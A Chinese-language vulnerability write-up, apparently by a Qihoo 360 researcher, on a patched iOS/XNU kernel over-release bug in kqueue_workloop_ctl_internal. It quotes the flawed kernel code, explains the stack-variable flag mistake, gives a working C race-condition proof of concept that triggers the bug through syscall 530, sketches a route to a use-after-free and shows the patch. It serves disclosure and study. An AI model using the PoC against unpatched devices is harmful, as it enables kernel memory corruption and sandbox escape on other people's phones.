kqueue_workloop_ctl_internal Over Release

by Qixun Zhao(@S0rryMybad) of Qihoo 360 Vulcan Team

该漏洞修复于 iOS 13.2，CVE 编号未明，本来我打算用于 TianfuCup 的 iPhone rjb(当然还单纯只有漏洞^^)，但是遗憾在比赛前十多天被修复了，但是该漏洞的成因很简单也很有趣. 关于 Safari 的漏洞我也会迟点写个 post.

漏洞出在最近添加的一个 syscall: kqueue_workloop_ctl，它之后会调用底层函数 kqueue_workloop_ctl_internal. 在漏洞路径上没有任何 MACF check，也就是说它可以用于任何沙盒内的提权，包括 Safari.

kqueue_workloop_ctl_internal 函数内一共有两个问题，第一个问题出在如下代码:

```
case KQ_WORKLOOP_DESTROY:
    error = kevent_get_kq(p, params->kqwlp_id, NULL,
            KEVENT_FLAG_DYNAMIC_KQUEUE | KEVENT_FLAG_WORKLOOP |
            KEVENT_FLAG_DYNAMIC_KQ_MUST_EXIST , &fp, &fd, &kq);
    if (error) {
        break;
    }
    kqlock(kq);
    kqwl = (struct kqworkloop *)kq;
    trp.trp_value = kqwl->kqwl_params;
    if (trp.trp_flags && !(trp.trp_flags & TRP_RELEASED)) {
        trp.trp_flags |= TRP_RELEASED;
        kqueue_release(kq, KQUEUE_CANT_BE_LAST_REF);
    } else {
        error = EINVAL;
    }
    kqunlock(kq);
    kqueue_release_last(p, kq);
    break;
} « end switch cmd »
*retval = 0;
return error;
end kqueue_workloop_ctl_internal »
```

我们可以看到，假如 TRP_RELEASED 这个 flag 没有设置，就会调用 kqueue_release 两次，一共减去两个引用计数，如果设置了，就代表这个 kq 已经被释放过了，就只调用一次减去一个引用计数，这一个引用计数是对应 kevent_get_kq 这个函数加上去的.

咋一看没有任何问题，既可以避免了 race 的发生，也可以避免多次释放同一个 kq，导致 over release.但是问题的关键在于这个 flag 设置在了一个栈变量上，而不是堆变量上，也就是说，无论如何设个 flag 都不会为 true.

```
int error = 0;
int fd;
struct fileproc *fp;
struct kqueue *kq;
struct kqworkloop *kqwl;
struct filedesc *fdp = p->p_fd;
workq_threadreq_param_t trp = { };

switch (cmd) {
case KQ_WORKLOOP_CREATE:
```

因此这个问题的起因虽然很简单，但是也很难发现，因为代码看上去没有任何的问题，如果不连着上面的|trp|变量的来源一起看的话.关于 poc 的触发可以有两种方式，第一种是通过 race，导致 over release，第二种是把 kq 挂在一个别的对象身上，先把引用计数加一，然后通过这个漏洞多次释放，把对象引用计数减到 0 然后释放，再通过别的对象的指针引用产生 UaF. 这里我的 poc 比较简单，就是通过 race 触发，如果要写 exploit，则第二个触发方法比较靠谱:

```
volatile bool go = false;

struct kqueue_workloop_params{
    int kqwlp_version;
    int kqwlp_flags;
    uint64_t kqwlp_id;
    int kqwlp_sched_pri;
};
struct kqueue_workloop_params params = {
    .kqwlp_version = sizeof(struct kqueue_workloop_params),
    .kqwlp_flags = 0x1,
    .kqwlp_id = 444,
    .kqwlp_sched_pri = 2,
};

void race(){
    int err = -1;
    while(1){
        while(!go){};
        err = syscall(530, 0x2, 0, &params, sizeof(params));
    }
}

int main(int argc, const char * argv[]) {
    int err = -1;

#define RACE_NUM 0x1
    pthread_t race_thread[RACE_NUM] = {};
    for(int j = 0;j < RACE_NUM;j++){
        pthread_create(&race_thread[j], NULL, race, NULL);
    }
    sleep(2);

    while(1){
        go = true;
        err = syscall(530, 0x1, 0, &params, sizeof(params));
        go = false;
        err = syscall(530, 0x2, 0, &params, sizeof(params));
    }
    return 0;
}
```

关于漏洞的补丁很简单，就是 flag 必须要设置到堆变量里，不然产生不了任何效果:

```
{
  v9 = kqworkloop_get_or_create(v14, *(_QWORD *)(v11 + 8), 0LL, 140288, &v8);
  if ( !v9 )
  {
    kqlock(v8);
    v6 = *(_QWORD *)(v8 + 456);
    if ( !(_WORD)v6 || v6 & 0x8000 )
    {
      v9 = 22;
    }
    else
    {
      BYTE1(v6) |= 0x80u;
      *(_QWORD *)(v8 + 456) = v6;
      v20 = v8;
```

至于第二个问题则存在于 kevent_get_kq 中，留给读者自己去发现.